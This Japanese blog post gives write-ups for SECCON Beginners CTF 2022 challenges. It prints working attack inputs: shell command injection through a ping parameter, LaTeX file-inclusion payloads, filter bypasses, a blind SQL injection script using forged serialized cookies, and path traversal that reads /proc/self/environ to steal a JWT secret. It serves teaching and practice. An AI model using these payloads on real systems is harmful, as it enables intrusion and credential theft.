はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginners CTF 2022 Web+α 解説

Web問全部と他解けた問題を解説。

Util [web]

main.goの29行目でcommnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"のように呼び出すコマンド文字列を作成している。
入力値は自由に入れられるので、コマンドインジェクション脆弱性がある。
セミコロンで複文にして、任意のコードを実行しよう。

127.0.0.1; ls /とするとping -c 1 -W 1 127.0.0.1; ls / 1>&2となる。
これで、前半のpingと後半のls / 1>&2となり、後半部分によってディレクトリを表示させることができる。
これでフラグのファイル名が漏洩するので、127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txtでフラグが抜き取れる。

textex [web]

flagファイルが読めればよさそうだが、ランダム文字列がついていないのでRCEまでは要らなくて、LFIができればよさそう。
LFI観点で脆弱性を探しても特に気になる部分は見当たらなかったので、texの処理の過程でLFIできると想像して色々調べてみる。

まずはLFIできることを確認

調べると、LFIや場合によってはRCEができるようだ。
Latex Injection

色々試すと、特定ファイルはLFIできた。

\documentclass{article}
\begin{document}

\input{uwsgi.ini}

\end{document}

とりあえず、方向性はあっていそう。色々試すととれるファイルと取れないファイルがありそう。

flagという文字列チェックの回避

flagという文字列があると無害化されてしまうので、newcommandというのを使って文字列を分割することでチェックを回避する。

\documentclass{article}
\begin{document}

\newcommand{\variable}[1]{uwsgi.in#1}
\input{\variable{i}}

\end{document}

よし。これで後はflagを指定するだけ…と思っていたが、エラーになってしまう。

なぜか取り出せない問題の解決

環境構築をして、フラグとctf4b{x_y}と書き直すとエラーになる。内容にアンダースコアがあるとエラーになるようだ。
texの構造にかかわる文字列が含まれるとエラーになるのだろう。
そのまま読み込む方法がある(上記チートシートでも紹介されている)ので、これを使えばフラグが得られる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\newcommand{\variable}[1]{fl#1}
\verbatiminput{\variable{ag}}
\end{document}

gallery [web]

フラグの場所が分からなかったが、handlers.goの25行目にfileExtension = strings.ReplaceAll(fileExtension, "flag", "")とあるのを見ると、/?file_extension=flagのように指定をして、flagを含むファイル名を抜き出してくるのだろう。

フラグが書かれているファイル名の特定

無害化しているfileExtension = strings.ReplaceAll(fileExtension, "flag", "")をよく見ると1度しか削除していないので、/?file_extension=flflagagのようにすれば、一回削除されてflagを入力値とできる。
これでファイル名が漏洩する。
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfが取得できればいい。

ファイルサイズ制限の回避

main.goの24行目あたりのfuncでファイルサイズ制限が働いている。
main.goの42行目を見ると10240bytesが上限のよう。

ファイルサイズ制限を回避するために一度に持ってくるファイルのサイズを指定することにしよう。
HTTPのRequest時にRangeヘッダーを追加することで、リクエストしているファイルの特定バイトをリクエストできる。
Rangeヘッダーが機能するかは実装によるのだが、試しにRange: bytes=0-50としてみると、%PDF-1.4のように正しくpdfファイルが抜き取れていそな応答が返ってくる。
このヘッダーを使ってファイルを取得してきて、結合するとフラグが書かれたpdfファイルが得られる。

serial [web]

フラグの場所を見るとDBに入っているのでSQL Injectionを使ってフラグの情報を抜き出してくるようだ。
まずはソースコードを巡回して使えそうな脆弱性を見ていこう。

  • databse.phpの65行目 $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    • 明らかなSQL Injection箇所。発生個所であるfindUserByName以外は対策されているのでここが起点
  • signup.phpの56行目 setcookie("__CRED", base64_encode(serialize($user)));
    • cookieにユーザー情報がシリアライズされて格納されている。取り出し時にも検証は無いようだ
    • 脆弱性というよりバッドプラクティスであるが、今回はこれが使える

SQL Injectionを発現する

findUserByNameが呼ばれている部分でユーザー入力がそのまま入りそうな所を見てみると、user.phpのlogin関数である。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

見てみると、cookieに入っているユーザー名がSQL Injectionに使われている。
試しに以下のようなPHPコードを作ってcookieの中身を見てみると、エラーメッセージからSQL Injectionが発生していることが分かる。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = "'";

echo base64_encode(serialize($user));

ただ、値取得はできなさそうなので、Blind SQL Injectionすることにする。

Error-Based Blind SQL Injection

例外発生は検知できるので、例外が発生するかどうかをオラクルとして情報を抜き出していくことにする。
いつものBlind SQLiとは違って、phpシリアライズド文字列が必要だったので、phpを呼び出してペイロードを作るシステムにして、抜き出しコードを作成していった。

以上のコードを少し改変して、引数に指定された文字列をユーザー名とするcookie用文字列を作るphpコードを用意した。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = $argv[1];

echo base64_encode(serialize($user));

上をa.phpとして保存して、以下のようなコードでBlind SQL Injectionを行っていく。

import requests
import subprocess
import time

url = "https://serial.quals.beginners.seccon.jp/"

def send(p):
    payload = subprocess.run(["php","a.php",p], stdout=subprocess.PIPE).stdout.decode('utf-8')
    return requests.get(url, cookies={"__CRED": payload}).text

def check(p):
    res = send(p)
    return 'failed query for' in res

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or (select exp(1783) where {md} <= ascii(substring(({req}),{i},1))) #"
        if check(exp):
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

Ironhand [web]

フラグはsecretマシンにあるが、このマシンに到達するにはappマシンの/にadmin権限を持つユーザーでアクセスする必要がある。
パっと見てadmin=trueとする方法はなさそうなので、JWTの偽装が必要そう。
脆弱性を探していくとJWTの偽装に使えそうな脆弱性が見つかる。

LFI

main.goの121行目で定義されている/static/:fileにはLFI脆弱性が存在する。
:file部分に../を含むようなパスが指定できればうまくディレクトリトラバーサルが働いてLFIできそうである。
しかし、呼び出しの際にnginxが嚙まされているせいで、普通に../を入れこんでもエラーになってしまう。
ここで使えるのがmain.goの122行目で実施されているpath, _ := url.QueryUnescape(c.Param("file"))で更にアンエスケープ処理が入っているので、2回URLエスケープしてやれば、フレームワークで1回アンエスケープされて、122行目でさらにもう1回アンエスケープされてうまくディレクトリトラバーサルにつなげられる。

LFIからどうする?

今回はJWTの秘密鍵が分かると偽装が可能になるが、この秘密鍵環境変数に入れられている。
実は/proc/self/enrivonを参照すると環境変数を取得することができる!!
ここがなかなか知識ゲーではあるが、これを知っていれば自然な流れで考察が進む。
という訳でGET /static/%252E%252E%252F%252E%252E%252Fproc%252Fself%252FenvironするとJWTの秘密鍵U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dを取得できる。

JWT

後は、Cookieに入っているJWTトークンを偽装してやればいい。
jwt.ioを使えばいい。

CoughingFox [crypto]

場所がシャッフルされているが、各暗号数値について対応するiを全探索して、暗号後数値-iが平方数であれば、そのiが正しい位置とすればiが一意に定まる。 あとは適当に復元すればフラグが得られる。

bool isSquare(ll n) {
    ll d = (ll)sqrt(n) - 1;
    while (d * d < n) ++d;
    return d * d == n;
}

void _main() {
    string ans = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";

    int x;
    while (cin >> x) {
        int sz = ans.size();
        rep(i, 0, sz) if (isSquare(x - i)) {
            ans[i] = char(sqrt(x - i) - i);
        }
    }

    cout << ans << endl;
}

H2 [misc]

x-flagというヘッダーにフラグが書いてあるらしいのでwiresharkhttp2.header.name == x-flagで検索することでフラグが得られる。